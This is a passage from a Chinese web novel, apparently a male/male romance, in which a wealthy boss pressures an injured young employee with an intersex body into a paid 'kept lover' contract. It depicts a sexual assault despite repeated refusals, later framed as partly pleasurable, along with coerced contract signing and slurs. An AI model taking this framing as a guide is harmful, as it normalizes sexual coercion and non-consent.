完了,最后一层遮羞布都被扯下去了,元丰此刻恨透了贺总。他想往后躲却无处可躲,见对方还在盯着自己看,羞耻到了极点。 “赔偿款我一分钱都不要了,你让我走行不行?” “你这是不是少了点什么?” “……” 男人问的问题,对元丰来说无疑是种羞辱,清楚而深刻地提醒自己身体畸形的事实。 连好兄弟许辉都没看过的地方,此刻正被贺总注视着,羞耻到极点的同时,他感觉自己要完了…… 见元丰在轻微发抖,贺颜笑了:“慌什么?我看看。” 元丰只恨自己瞎了狗眼,没早点看清贺总的真面目,他强忍着破口大骂的冲动,绞尽脑汁地想辙,现在补救还来得及。 “快点,别让我动粗。”贺颜盯着元丰。 元丰脑内倏地灵光一闪,想到了办法。妈的,只要不被发现身体缺陷,自黑又算得了什么?他一改之前的态度,可怜兮兮地卖起惨来:“贺总,你就行行好放过我吧,你看我长得也不丑,为啥还是处,其实是有原因的。” “我……” 看到那畸形构造,贺颜猜出大概。 “我天生畸形,生下来就没蛋。”元丰故意吸了吸鼻子,委屈道,“所以我不能那啥……合同的事儿真没法跟你签……” 贺颜以为元丰只是因为自卑不敢找对象,没想到年纪轻轻的居然不能人道,心里不免多了几分同情。 他把人放开,语气也温和了些:“没事儿,我不介意。合同照签,包养费再给你加五万。” 左手得到解放后,元丰迅速弯腰把湿透了的裤衩往上拉,拉到一半被贺总那话给惊得差点爆粗。 他估摸着自己没说明白,只能咬牙继续自黑:“贺总,这不是钱的问题。你也看见了,我天生就不行,是个太监,你去包别人行不?” 操,大丈夫能屈能伸。他在心里疯狂呸呸呸:什么太监!刚才说的都是放屁! “这跟我包你有什么联系?”贺颜往前走了一步,“好了,不要再闹。” “……”元丰气炸了,这人脑子八成已经烂掉,继续沟通纯粹浪费时间。 贺颜问:“自己尝试过么?” “有……不是!没有!”元丰慌得话都说不利索,他抓着男人那充满力量的胳膊,试图阻止。 “有还是没有?”贺颜盯着元丰急红了的小脸,越看越觉得有意思。 “你别拽我裤衩行不?”元丰随口胡诌,“就是试了也没用,我不行的。” 贺颜:“这么严重的毛病,去医院看过么?” “别扯啊操!”元丰听到布料撕裂的声音,低头一看,裤衩开线了。 他低估了贺总的变态程度,当即改口求饶:“别这样啊,贺总。你看我还老爱尿裤子,多败兴啊,你这口味也忒重了!” “确实有点重。”贺颜说着,直接上手。 元丰伸出左手用力推着贺总结实的胸膛,压根推不动。高大魁梧的男人就像一座山,将他堵在了角落里。 他惊慌失措地叫道:“我真跟太监差不多!” 贺颜真是开眼了,笑问:“你这脑瓜子里在想什么?还有上赶着咒自己的。” 爆棚的雄性气息笼罩着元丰,身体变得越来越奇怪,他再也克制不住,从喉咙里爆发出怒吼:“你这死变态!浪费老子口水,跟你在这儿叽叽歪歪!你他妈的!” 一句接一句的谩骂让贺颜直接黑了脸,这小子不光骚操作多,还会演戏。 “傻缺玩意儿!”元丰一边骂一边疯狂躲。他怒瞪男人,对着那帅气的五官就是一声呸,“说了不签就是不签!死同性恋!我去你大爷!你……呃……” 谩骂声突然停止,贺颜在元丰挣扎的时候,好像碰到了什么奇怪的东西。元丰不光身子紧绷着,连秀气的五官都紧张到拧在了一起。 妈的,完了完了。 元丰脸色难看得不像话。 贺颜是个纯gay,从十六岁第一次开荤到现在,虽然没碰过女人,不代表不懂,可元丰是个货真价实的男人。 “……”元丰又羞又窘,憋了半天想不出什么合理的解释。 有疑问,那贺颜自然得求证。 “操!放开我!”元丰动弹不得,心如死灰。自打懂事儿以来,藏了多年的秘密,就这么轻易地被暴露在外人眼前。 贺颜万万没想到,元丰居然不是个正常的男性。 讨好客户时,元丰都没这么难堪过,活了二十二年的脸面,在此刻荡然无存。 明明该感到羞耻厌恶,心底却生起一丝怪异的感觉。这个男人会用什么样的眼光看待他?会嘲笑他吗? 饶是久经情场的贺颜,也有些没缓过神。他对女人不感兴趣,但包元丰的想法依旧还在,正考虑要不要继续时,元丰恼羞成怒地吼道:“滚!赶紧放开我!” 白净秀气的脸蛋快要涨成猪肝色,嘴里还在骂骂咧咧地口吐芬芳,难听的脏话不停往外冒。贺颜扫了眼地上,元丰如此抗拒不惜自黑,一切有了合理的解释。 “你个变态玩意儿!”元丰后背靠着墙壁,骂得直喘气。 贺颜突然松了手,元丰重心不稳,一屁股摔坐在满是水渍的地上,给他疼得不轻,“你有病啊!” 贺颜居高临下地看着坐在地上的小白脸,笑了一声。他蹲下高大的身躯,看着元丰说:“确实有点倒胃口,不过因为你这张臭嘴,我想了想,合同还是得签。” 平静的语气中带着几分刻薄,元丰怒瞪着贺总,舌头在紧闭的嘴巴里快速积攒着唾液,随口朝着对方脸上啐去:“呸!签你妈!” “你!”口水好死不死地吐进右眼,贺颜迅速闭上眼睛,起身走到洗脸池那儿打开水龙头,捧着水冲脸。 元丰心里痛快不少,趁着这短暂的工夫迅速撑着墙壁站了起来,捡起湿透了的运动裤,费劲地往身上一边扒拉一边琢磨,自己这毛病都让人给看光了,别说赔偿款,精神损失费也不能少,待会儿就冲到茶几那,拿上支票赶紧跑。 “谁允许你穿裤子了?”贺颜抹掉脸上的水珠,走向淋浴间。 “你他妈别过来!”元丰看着眼前的贺总,他的右眼有些红,整个人都带着一股煞气似的。 在贺颜眼里,元丰就是个弱不禁风的小鸡崽,翻不出什么花样来。他长腿一跨,弯腰直接把人扛在了肩上。 “放我下来啊!操!” “你妈的变态!” “算我求你了。” “贺总,咱有话好好说行不?我不该骂你,我这嘴欠啊,对不住。” “别冲动……千万别冲动……坐下来好好聊行吗?” 贺颜抬起手,对着元丰的屁股就是一巴掌:“留着床上再叫。” 元丰摔倒在床上,贺总这副架势,很明显是要霸王硬上弓,他在心里快速盘算着该怎么脱身。 打也打不过,跑又跑不掉,就算放狠话报警什么的,以贺总雄厚的资金实力,恐怕花钱就能摆平。而且真到那时候,自己的屁股早开花了,报警能挽回什么损失?赔偿金? 他要真稀罕赔偿金,早就接受包养乖乖躺着配合了,还反抗个屁。 这男人是个彻头彻尾的变态,仗势欺人的死同性恋!现在别说骂人,让他认错叫爹都行。 贺颜四处扫了一圈,走到床头柜前拉开抽屉,把里面的东西扔到元丰跟前:“今天为你破个例,以后接到我电话,自己提前用上。” 正所谓大丈夫能屈能伸,该怂的时候就得怂。认清局势的元丰很快调整心态,开始认错求饶:“贺总,骂你是我的不对,咱们坐下来好好说,行不?你看我胳膊还打着石膏,是个病患啊,肯定不能做激烈运动。” “嗯。”贺颜摸上衬衣纽扣,边解边说,“所以要听话,真废了,以后吃喝拉撒都是个问题。” “……”元丰见贺总脱衣服,急了,“是我嘴欠,该打!你大人有大量,千万别跟我计较。” 安静的 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元丰被贺总的偷袭拉回神志,等反应过来时,用力蹬腿挣扎:“你有病啊,快放开我!” 短暂的一番你来我往,他要崩溃了,“我叫你爹行不行啊?” “叫爹也没用,把嘴闭上。”贺颜说,“我这么耐心伺候你,回头乖乖把合同给签了。” 元丰紧张又害怕,当即想出一条缓兵之策:“贺总,合同我签!这事儿缓缓行不?你看我胳膊……我真的不能做激烈运动,大夫交代过的。” “真的签?”贺颜看着他问。 元丰赶紧移开视线,猛点头:“真的!但得等我骨折好了再做,你看行吗?” 贺颜只是笑,今天说什么也不能放过这小子。 像是被海啸卷走一般,接下来元丰经历了他此生最痛苦最难忘的事。 痛苦是因为身心饱受折磨,颠覆认知的一切都太可怕了。难忘是因为从没经历过,在痛苦中他竟体会到了另一种难言的滋味。 贺颜套上浴袍走出卫生间,立刻走过去把人扶起来:“着什么急?” 混杂着沐浴露清香的雄性气息让元丰吓得赶紧甩开贺总的手,后退了一步。 贺颜盯着元丰,调侃他:“躲什么,又尿了?” “你!”元丰心里那个恨啊! “没骂人,表现不错。”贺颜说,“自己去洗澡,洗完过来签合同。” 都这个死变态害的!元丰不想说话,强忍着疼痛与不适去了卫生间洗澡。之后他被迫穿上衣柜里的新衣服,站着供贺总欣赏。 “不错,挺合身。”贺颜拍了拍自己大腿,“过来。” 元丰站着没动,满脸写着不乐意。 “刚才就一回。”贺颜淡淡说,“我一般最少两到三回,给你两秒钟。” 别说两秒钟,元丰立刻坐到贺总大腿上,用时还不足一秒,因为太过着急给他屁股疼得嘶了一声。 唉,人在屋檐下,不得不低头啊。 贺颜心情大好:“你这情况特殊,就不叫医生过来了。明天我安排人送药,自己看着说明书用。” “知道了。”元丰攥紧拳头,忍着想要暴打贺总的冲动。 “一会儿我让人过来收拾下,晚上就住这儿,搬家后天再说,先把身体养好。” “哦。” 贺颜拿起一旁的合同和笔:“签了。” 元丰不想签,可是不签又要被折腾了。看着合同上的金额,他突然有了法子:“贺总,你不是说多给我加五万吗?这合同才十万一个月,怎么签啊?” 贺颜把笔塞过去:“签了,五万的明天会送过来。” “那不行,我怎么知道你是不是忽悠我啊?”元丰接过笔没签,“万一你想赖账呢?合同没你这么签的。” 贺颜笑了:“你这脑瓜子转得倒快。” “凑合吧。”元丰心里得意起来,就在他以为能躲掉合同时,贺总拿出手机当着他面拨通了一个号码。 “重新拟一份合同送到锦西湾,改成十五万。” “……”元丰感觉贺总大腿上有钉子似的,坐得更疼了。 他闻着贺总身上飘来的淡淡清香,垂着脑袋听他讲电话,电话那头是个男声,说话全程毕恭毕敬。 “贺总,需要准备些别的吗?” “去药店买个消炎止痛的药。” “好的,我大概一小时后到您那里。” 腿上的屁股从刚才就不安分地动来动去,贺颜想起元丰的伤口,又加了句:“一次性手套。” “好的,贺总。” “嗯,挂了吧。” 等通话结束,元丰才问:“我能起来了不?坐着屁股疼……” “先跟我说说感想。”贺颜搂着元丰没放手。 妈的,还说感想?元丰唯一的感想就是把贺总暴打一顿,但为了安全,他不敢再自讨苦吃。贺总这么变态,挑他爱听的说就行。 “挺好的,我很满意。谢谢贺总!” 贺颜见元丰老垂着脑袋,伸手掐住他的下巴:“满意什么?” “……”元丰被迫与贺总对视,心里一慌,紧跟着想起了之前那场人与变态的大战,顿时尴尬得只想马上找个地缝钻进去。 他受不了这过分亲密的距离,只能盯着对方的下巴,快速吹捧道:“满意贺总优秀的……X能力!还有惊人的持久度!” 见元丰说着说着还斗鸡眼了,贺颜一笑:“没了?” “啊。”元丰心里怒操一声,破事儿真多。得亏自己是男的,知道男人爱听什么。 他忍着羞耻继续吹捧:“贺总身材真好啊,那啥也又结实又好,还硬如钢铁,比我们公司生产的钢槽还要硬!体验下来感觉不错,我非常满意!” 他越吹越离谱,贺颜听不下去了,把人放开:“去躺着歇会儿。” 得到解放的元丰激动地趴到床上,还不忘补一句:“谢谢贺总。” “肚子饿不饿?” 经贺总这么一问,元丰想起自己没吃晚饭,而且被折腾了那么久,还真是饿了。 不吃白不吃,他一点都没客气:“饿!” 贺颜又拨通了助理的电话:“叫一份清淡些的粥送过来。” “我要吃饭。”元丰嚷嚷。 贺颜看了眼趴在床上的元丰,重新道:“改成饭菜,味儿别太重。” 元丰现在总结出窍门了,看来贺总这人吃软不吃硬,得多说些好听的。他趴着无事可做,下床从裤兜里掏出了手机,微信有许辉和小美发来的消息,许辉问他拿到赔偿款了没,小美一小时前找他唠嗑,问他胳膊好点没。 他在心里叹了口气,先回好兄弟说钱拿到了,跟着又打开和小美的对话窗口,问对方睡了没。 小美:【丰哥,我还没睡呢[嘻嘻]】 元丰:【小美,我刚跟兄弟在外面吃烧烤,没看手机。】 小美:【你胳膊都没好,不能吃这些重口的吧?喝酒了没?】 元丰:【没喝。】 小美:【嗯嗯,那我就放心啦!丰哥要快点好起来哦,你不在公司,好无聊。那个方远今天还约我吃饭,好讨厌啊!】 不过短短一天工夫,元丰却感觉物是人非,自己都被男人给那啥了,还怎么考虑跟小美的感情问题。那身衣服也不知道要多少钱,给小美钱肯定不合适,得想别的法子补偿她。 “聊得挺开心。” 元丰吓得侧头一看,贺总就坐在边上,他皱着眉头喊道:“你怎么偷窥人隐私啊!” 贺颜没兴趣知道元丰在聊什么,光看备注上的小美,猜到俩人估计正在暧昧。 他盯着元丰皱起的眉头,没说话。 沉默的气氛让元丰无奈,真他妈的憋屈啊,心里有火不能撒,还得先安抚好贺总这头顺毛驴。 他立刻放下手机,硬挤出一个笑容:“小美是我公司的前台,比我小几个月,就跟亲妹妹似的。她才来公司一个星期,有点怕生,经理让我多照顾照顾她,所以才陪着吃过几次饭。” 贺颜摸上元丰屁股,轻轻拍了两下:“合同里怎么写的,看清楚了?” “那必须清楚啊!”元丰别扭地挪开屁股,解释道,“就是兄妹情谊,我又不喜欢她。” “嗯,你先歇着。”贺颜说完,离开了卧室。 还真是个顺毛驴。元丰松了口气,赶紧打开微信给小美发送消息。 元丰:【不好意思啊小美,我在公交车上,才下车。】 小美:【没事呀,丰哥你是自己一个人住吗?】 元丰:【是啊,我不喜欢跟人合租。】 小美:【一个人住真好,我跟两个姐妹合租,她们有时候好吵。】 这话元丰没法接,难不成还能邀请小美搬过来跟自己一块儿住吗? 现在龙河新村能不能回去还不好说,等会儿合同来了,他想着再加把劲吹捧,多说些好话,没准就不用签了。 4. 第 4 章 元丰陪小美又东拉西扯地聊了十几分钟,聊天过程中,疼痛一直在提醒他,继续聊下去不合适,于是他主动结束了话题。 唉,要是没经过晚上这档子事儿,别说聊几分钟了,聊上个把小时都不是问题。 算了,就算聊到天荒地老也没意义。小美是个好姑娘,不能耽误了她。 元丰闭上眼睛打算歇会儿,大脑却不受控制地想起刚才发生的一切。他到现在还记得那滋味,是真的快活,难怪老话说“快活赛神仙”,自己差点就做神仙了。 操,在想啥呢? 一定是被变态给传染了,元丰不敢再想下去,拿起手机打开微信里的业务部门群。今天群里安静得不像话,连每日业绩都没汇报。 他清了清嗓子,按着语音键,严肃道:“今天怎么回事儿?我一休息,你们连业绩都不报了?” 杨伟:【经理,我们下班前已经跟黄总经理汇报过了。】 马晓东:【是啊,经理。你在家养伤,哪儿敢打扰你休息呀!】 “黄经理那儿报一遍,群里也给我继续报。”此刻的元丰找回了属于男人的尊严,把被折腾哭的事儿都给忘得一干二净,他态度依旧严肃,“这几天,你们可别给我偷懒!这个月谁业绩最好,我奖励三百块钱红包。” 元丰:【@全体成员杨伟:经理万岁!】 赵志鹏:【收到!】 马晓东:【收到!】 王越飞:【收到!】 万正青:【收到!】 刘雪峰:【收到!】 孙俊:【收到!】 元丰心情大好,恨不得明天就去公司上班,不过去之前,必须把贺总这个麻烦给解决了。 他开始认真思考待会儿要怎么说服贺总,包养合同肯定是不能签的。这一想,就想到贺总戴着一次性手套进来了。 “裤子脱了背过去。” “……”元丰不想脱也不想照做,他现在一看到贺总就想起那档子事儿。 “磨蹭什么?”贺颜还是头回给小情儿善后,本想交给助理来处理,一想元丰多了个见不得人的玩意儿,只能委屈自己亲自上阵了。 为了合同,绝对不能惹贺总生气,要忍!元丰在心里怒骂,你个变态。 贺颜随口问:“小时候怎么没去做手术?” 元丰一愣,“小时候”是他最不想听到的,那是他不想回忆的过去,他敷衍道:“那时候没条件。贺总,好了吗?我肚子饿了。” “好了。”贺颜摘下手套,先出去了。 元丰穿上裤子,跟着贺总去了客厅,他看到茶几上多了两份新合同,那个来送东西的人并不在。还好没有外人,不然忒他妈尴尬了。 “你先去吃饭。”贺颜指了指餐桌。 “哦哦。”元丰这才看到餐桌上多了一个精致的食品袋,走过去打开食品袋,里面有好几个饭盒。 他见贺总坐在沙发上没有要过来的意思,出声问道:“贺总,你怎么不吃啊?” “那都是你的。”贺颜盯着手机,没抬头。 元丰把饭盒一一拿出来打开,饭菜香扑鼻而来。有丝瓜豆腐汤、凉拌秋葵、黄瓜炒鸡蛋、蒜蓉蒸排骨,米饭上还有个白烧的大鸡腿。 这也太丰盛了!他拿起鸡腿送到嘴边准备啃上两口,动作却一顿。 贺颜刚忙完手头的活儿,面前突然多了个鸡腿。他抬眼看向元丰:“吃不惯?” “贺总,你也没吃晚饭吧?”元丰讨好地把鸡腿献上去,“这大鸡腿留给你吃,那儿还有排骨,你吃不?” “我不饿,你吃吧。”贺颜一看这讨好的架势,大概猜出了元丰的小心思。 “贺总……”元丰在边上的沙发坐下来,诚恳地说,“关于这个合同的问题,咱们再商量商量,你看行吗?” “行,你想怎么商量?”贺颜问。 “其实我仔细帮你分析过了,你包我特不划算。”元丰拿出谈业务的嘴脸,笑着说,“你想啊,你包我俩月的钱能包别人仨月,等于直接省了十万!” “没事儿,我不差钱。” “……” 元丰早料到贺总会这么说,笑着吹捧道:“贺总你一表人才,还这么有钱。虽然只是情人关系,但我这种吊丝,实在配不上你。” 贺颜盯着元丰,笑了:“说下去。” “你看咱们各退一步怎么样啊?我还拿回我那一万多的赔偿款,其他钱我不要。今晚发生的事儿,就当作……呃……当作一夜情。”元丰退让到连精神损失费都没要,他觉得贺总这回该同意了吧。 贺颜耐心地听完:“你先把鸡腿吃了,吃完再说。” “哦,好好。”元丰确实饿了,一个大鸡腿几口就啃完,吃完才发现贺总一直在盯着他看,那眼神瞧着怪吓人的。 “贺总,咱们可以继续了。” “突然来了兴致。”贺颜站起身吓唬元丰,“跟我进卧室,合同晚点再签。” “进卧室干啥?”元丰有种不好的预感。 贺颜把元丰从沙发上拉起来:“接着办你。” “……”元丰吓得赶忙推着贺总往沙发上坐,“别激动!我没说不签,只是想再商量商量啊!” “还是刚才老实。”贺颜拉着元丰往卧室走。 元丰急得开启自黑模式,大声喊道:“你不是嫌我那啥恶心倒胃口吗?你换个人就不恶心了,何苦啊!” 贺颜就猜到这小子不会老实签合同,他把人拽进卧室,锁上了门。 听到落锁的声音,元丰又开始卖惨:“我肚子好饿啊,我想吃饭……” 贺颜无动于衷:“自己脱吧。” 看来没办法了,元丰不得已使出最后的杀手锏。他主动握住贺总的手,感慨道:“贺总,俗话说相逢一炮泯恩仇,我再让你免费操一回,等于两炮。别说仇恨,咱们以后就是兄弟!你要不愿意做兄弟,我也不勉强啊。这合同的事儿,就算了,你看好不好?” 贺颜抬起手臂,用力揉了揉元丰的脑袋,笑骂道:“真服了你。” “啊?” “可惜我这人记仇,两炮泯不了。” “那你想要多少炮啊?咱们都可以谈的。” “不好说。” “……” 元丰老实地坐在沙发上,面前摆着一式两份的包养合同。 他在心里疯狂说服自己,不就是被包养吗?一个月挣的钱比这几年辛苦攒下来的都要多,还纠结个啥呢?而且贺总这么有钱,换情人的速度肯定不慢,没准不出俩月,合同就作废了。 “还有问题吗?”贺颜倚着沙发,跟逼良为娼的大爷似的。 “没了。”元丰左手握着笔,准备签字时,看到合同里的那句“甲方有需求时,乙方身体若无任何不适的情况下,不得拒绝”。 他停下动作,问道:“贺总你这么有钱,家里开公司的吧?平时是不是特别忙啊?” 贺颜估计元丰又想搞什么幺蛾子,淡淡回道:“这不是你该过问的事儿,签了。” “……”元丰就想知道大概的频率,总不能合同一签,贺总天天来吧? 看来得先下手为强,他笑着说:“是这样啊,贺总,虽然咱们签了合同,但你知道我有工作的,肯定不能二十四小时随叫随到。” 贺颜丝毫不意外:“继续。” “然后我有时候还得加班,所以提前跟你说一下。”元丰怕贺总叫他辞职,赶紧补充,“我不可能辞职的,我经理特别器重我,公司就是我的家。” 经过这几天的接触,贺颜差不多摸透了元丰的尿性,没多说什么:“我知道了。” “谢谢贺总的理解。”元丰心里暗爽,这还没上班呢,已经开始期待天天加班的日子了。 敲门声打断了二人的交谈,贺颜叮嘱元丰先签字,自己去开门。 元丰用左手别扭地签下了自己的大名,随后看见甲方签名处的两个潦草大字。要不是知道贺总姓贺,这谁认得出来? 他听到后方传来说话声,回头看去,来人是位中年妇女,贺总正交代她去主卧打扫卫生。 一想那凌乱不堪的床,元丰顿时臊得脸都热了,这男人果然是个厚颜无耻的变态。 “签好了么?” “啊,好了。”元丰回过神,把两份合同递给贺总。 贺颜接过合同,打开扫了两眼。他将另一份还给元丰,满意道:“这回挺老实,以后听话些。我先走了,明天会派个人过来。” 一听他要走,元丰跟送瘟神似的,亲自给贺总开了门:“贺总,你慢点儿啊。” 贺颜盯着元丰白嫩的小脸蛋看了几秒,笑着走了。 可算走了。 元丰回到餐桌那儿,狼吞虎咽地吃了起来。早知道会签合同还不如一开始就把饭给吃了,讨好有个屁用。等保姆出现在面前时,他才想起这屋子里有个大活人。 “先生,床我收拾好了。”保姆恭敬地说,“明天早上我再过来给你做早点,有什么想吃的都可以跟我说。” 元丰被这一出搞得浑身别扭,他摆摆手,“阿姨你别叫我先生了,要不你叫我小元,就一元硬币的那个元。” “先生,这不合适。” 元丰从没体验过有钱人的生活,这刚体验了还不足一分钟,就受不了了。 他放下勺子,问道:“阿姨,你贵姓啊?” 保姆一愣,随即答道:“我姓刘,叫刘秀珍。” “哦,那我管你叫刘姨吧。” “这……” “刘姨,你明天早上不用过来做早点了。”元丰打算一早先回龙河新村拿银行卡,再去银行办业务,省得保姆还白跑一趟,做了也没人吃。 “那行,我明天中午再过来,想吃什么菜跟我说。” “……”元丰觉得一时半会儿说不通了,“那你晚上再来吧,我不挑食,什么都吃。” “好的,那我明天下午四点再来。” 元丰躺在干净整洁的大床上准备好好睡一觉,可闭上眼就会想起贺总那个变态对自己做的事儿,越想越觉得自己奇怪。 他打开床头柜的抽屉,看到里面的玩意儿带着水珠,很明显刚洗过。 操啊,这不会是刘姨给洗的吧?保姆连这种事儿都要干?真他妈的,脸都丢尽了。 都怪那个姓贺的! 元丰睡过头了,醒来已经九点半,他赶紧从床上爬起来,身体倒没昨天那么不舒服了。 快速洗漱完毕准备走的时候,响起了敲门声,门外是个西装笔挺的年轻男人,手里还提着公文包。 “你好,元先生。”男人递给元丰一张名片,礼貌地自我介绍,“我姓陈,单名硕,是贺总的私人助理,以后有什么问题可以给我打电话。” “呃……你好你好。”元丰接过名片看了一眼,心里不禁纳闷:这年轻人长得不错啊,贺总为什么不干脆吃窝边草,一边上班一边操,多两全其美啊。 陈硕又从公文包里拿出一张支票递过去:“昨天的十五万支票是给你的生活费,这张五万的是赔偿金以及精神损失费。” “……” 真够大方的,元丰没接:“这精神损失费有点多啊,能不能扣掉三万再给我?” “贺总特地交代的,请务必收下。”陈硕将支票再往前递了些。 元丰不得已收下支票,他问:“贺总有几个手机号码啊?” “不好意思,这个问题我没办法回答。” “……” 元丰心里有了想法,没再问下去。 在贺总私人助理的帮忙下,元丰搬家了。回新家的路上,他坐在贺总的商务奔驰车里,向陈硕偷偷打听:“你们贺总,多久换一次情人啊?” “不好意思,元先生。”陈硕直视前方,面无表情地说,“我正在开车,需要集中注意力。” 元丰:“……” 这敌人内部,真难攻啊。 汽车停在锦西湾的地下车库,元丰打开车门赶紧下了车,这一路上,真够憋闷的。 新房子里的生活用品很齐全,他觉得自己在这儿住不长久,所以除了钱包,就带了几身衣服和两双鞋。 陈硕从后备箱里拿出装有衣服和鞋的塑料袋,锁上车门。 这下应该不用再集中注意力开车了,元丰决定套近乎,打探打探敌情。如果能跟陈硕混熟,还愁不知道贺总的动向?自己这小日子,也能舒舒服服的。 “辛苦你了,陈助理。”他上前想接过陈硕手里的两个塑料袋,“我来拿吧。” “不辛苦,这是我分内的事。”陈硕避开了元丰的手。 “怎么好意思都让你拿呢,分我一个。” “不用不好意思,这是我应该做的。” “……” 陈硕的态度很客气,但距离感十足,元丰不好再勉强。他在心里吐槽,怎么跟个机器人似的,还摆着面无表情的棺材脸。 这还套个屁的近乎? 俩人一前一后进了电梯,密闭的空间跟在车里差不多,元丰不死心,打算再试试。 他主动打破沉闷的气氛:“陈助理,搬家真是麻烦你了啊,还让你帮我拿行李。” “不麻烦,这是我分内的事。” 好家伙,都成复读机了。 元丰笑着说:“老叫你陈助理实在太见外,你也别喊我元先生。我叫元丰,以后咱们直接称呼大名得了。” “不好意思,元先生。”陈硕平静地说,“你可以直呼我本名。” 元丰服了,他怀疑陈硕来之前肯定被贺总洗过脑。到了1601门口,他忘记开门密码,于是掏出手机准备看下贺总之前发过来的短信,只是还没打开信息,又把手机塞了回去。 “陈助理,这开门密码你记得不?贺总之前发的短信让我给删了。” “326819,你记一下。”陈硕简短地回道。 “哦哦。”元丰在智能锁上输入密码,“这能不能搞个指纹啊?老输六位数字,忒麻烦了。” “可以。” 陈硕往前走了一步却没靠太近,始终保持着三十厘米的距离,他耐心地教元丰怎么录入指纹。 进屋后,元丰招呼道:“你进来坐着歇会儿,我给你倒杯水啊。” “不用,我得走了。”陈硕放下塑料袋,转身就要走。 “你别走啊!”元丰一把拽住陈硕的胳膊,“客气啥?你辛苦帮我搬家,喝口水再走吧。” 陈硕迅速避开:“元先生,请不要这样。” “……” 元丰看着被关上的大门,彻底无语。 他确认了,敌方阵营坚不可摧。还说混熟了以后让陈硕给他通风报信,要是赶上贺总不忙,那就可劲儿加班。看来在合同结束之前,只能天天加班了。 盯着桌上的两张支票,元丰思考着该怎么处理这笔巨款。他特地上网查了下包养的行情,这一查,才发现贺总当真是财大器粗。 考虑到最后,他把十五万面值的支票放进衣柜的角落,拿着五万的那张出门了。 银行卡里一下子多了五万块钱,元丰看着小二十万的卡内余额,心情那叫一个舒畅。 他决定奢侈一把,打车去了好兄弟那儿。 许辉一直忙到一点多才空下来,刚准备吃饭,就见元丰乐呵呵地走了过来。 他走上前:“哟,瞧着挺高兴啊?” “还行,赔偿加精神损失费,这个数!”元丰嘿了一声,伸手比画了个五。 许辉惊讶道:“五万?” 元丰得意地点点头:“我一办完业务,就赶紧过来了。走,请你吃大餐去!” “操,真爽。”许辉一脸羡慕,“被撞的人要是我——” “呸!说啥不吉利的,谁他妈愿意被车撞。”还被变态给狠狠折腾了。 “幸亏不严重,还一下子挣了五万,值了。” “……” 值?元丰觉得自己有点亏。 俩人这回没下小馆子,去了一家规模还算大的酒楼。元丰点了好几个许辉爱吃的菜:“随便点,别跟我客气啊。” “吃不完,别点了。”许辉抢走菜单递给服务员,“先这些吧,再来两瓶冰啤。” “多的打包,我待会儿再点俩荤的。”元丰说,“你带回去给你媳妇儿吃。” “操,我可没跟你客气。真不用,我俩自己开伙了。”许辉问,“你跟你公司那小前台,有什么进展没?” “没有,我考虑清楚了。”元丰叹了口气,“我跟小美有缘无分,算了。” “……”许辉低骂道,“你这脑瓜子真是……忒傻!你自己看看,现在处对象的有多少能走到头?我都不敢保证将来一定跟我媳妇儿结婚。” “我再想想吧。”元丰敷衍道。 他现在是哑巴吃黄连,有苦难言。包养这种丢人的事儿,怎么能告诉兄弟? 吃完饭,元丰在修车行陪许辉又待了半个多小时就回家了。他回的是龙河新村,至于锦西湾那边,等贺总来电话了再说。 这通电话来得很快。 陌生号码打来时,元丰迷迷糊糊地接通了:“喂?” “元先生,贺总晚上会过去。” “啊?” “我是陈硕。提前跟你说一下,贺总晚上会过去。” 元丰听到“贺总”俩字儿瞬间清醒,赶忙问陈硕:“贺总在你旁边不?” “在的,有什么需要为你转达的吗?” “你让他接电话行不?” 电话那头传来说话声,元丰听不清楚,过了一会儿,他听到了贺总的声音。 “什么事儿?” “贺总,你晚上过来干吗啊?”元丰小心地问。 “你说呢?” “来吃晚饭的,是不?”元丰讨好起来,“我让刘姨给你多做点好吃的,你想吃点啥?” “刘姨?” “就是做饭的那个阿姨,昨晚来过的。”“不用准备,你吃你的。” “……” 昨晚是被迫,如今签了合同那必须你情我愿。元丰没有拒绝的理由,可心理障碍还没完全跨过去。 他为难地说道:“贺总,我……没好利索,能不能再缓缓啊?” “行,再给你两天时间。” 元丰松了个口气:“谢谢贺总啊。” “嗯,挂了。” “嗳嗳,好。贺总再见啊!” 这通电话让元丰想起了要去做晚饭的刘姨,于是赶紧起床收拾收拾出门了。 新住处有电脑有网络电视,他靠在沙发上,津津有味地看着一档关于唱歌的综艺节目。 “先生,吃点水果吧。”保姆刘秀珍端着切好的水果果盘,摆在了茶几上。 “刘姨,你别叫我先生了,叫小元吧。”元丰坐直身子,看到果盘里有切好的西瓜桃子和哈密瓜,他有些不好意思,“谢谢啊……” 刘秀珍拿着可观的薪水,专门负责照顾贺总的历任情人,还是头回遇上这么有礼貌的。 这孩子看着岁数也不大,怎么就想不开了呢?她笑着说:“天热,多吃些。我先去做饭。” “刘姨,就一菜一汤吧,太多了吃不完。”元丰说。 “行。” 元丰看着桌上丰盛的三菜一汤,不知道该说啥了。这刘姨肯定也被贺总给洗过脑了,说了等于白说。 刘秀珍走到餐桌旁:“先生,你慢慢吃。我先走了,吃不下你就搁着,我明天一早过来收拾。” “好的,刘姨你慢点儿啊。” “嗳,好嘞。” 元丰在饭上装了些菜,端着去茶几上吃了,边吃边看电视,连贺总来了都不知道。 沙发上的人正在弯腰扒饭吃,贺颜看着都嫌费劲,出声问:“怎么不在餐桌上吃?” “我去!”元丰吓得勺子都掉了,转头问,“贺总,你……你怎么过来了?” “不能过来?”贺颜走到元丰旁边坐下。 “能啊。”元丰不着痕迹地挪了挪屁股,“可你不是说让我缓两天吗?” “慌什么?”贺颜盯着惊慌失措的元丰,笑道,“今晚换上面。” “……”元丰想了几秒才反应过来,瞬间惊得从沙发上跳起来。 操,亏他下午还觉得贺总挺好说话,这哪里好说话了?变态这个词儿,简直是为对方量身打造。 “怎么老一惊一乍的?去餐桌那儿吃。”贺颜弯腰捡起地上的勺子,把正在播放的节目给暂停了。 还不是你给吓的!元丰在心里把贺总从头到脚都骂了一遍。 他岔开话题:“贺总,你这么早就过来了,肚子饿了吧?我去给你盛饭。” “不用,我吃过了。”贺颜说完,去了厨房。 “……” 元丰没胃口了,可不吃的话,岂不是马上就要遭罪?妈的,早知有这一环节,打死他都不会签那份合同。他快速思考着应对方法,只要贺总打消念头,啥都好说。 “傻愣着干什么?”贺颜把洗干净的勺子递给元丰,“去吃饭。” “哦哦。”元丰拿着勺子坐回餐桌旁,原本丰盛可口的饭菜,瞬间不香了。 贺颜将元丰蔫了吧唧的模样看在眼里,走到餐桌对面坐下:“菜不合胃口?” “啊?”元丰赶紧用勺子挖了一块糖醋带鱼放碗里,“合啊,我都好久没吃到这么香的家常菜了。这人间美味,得细细品才行。” 贺颜笑了:“确实该 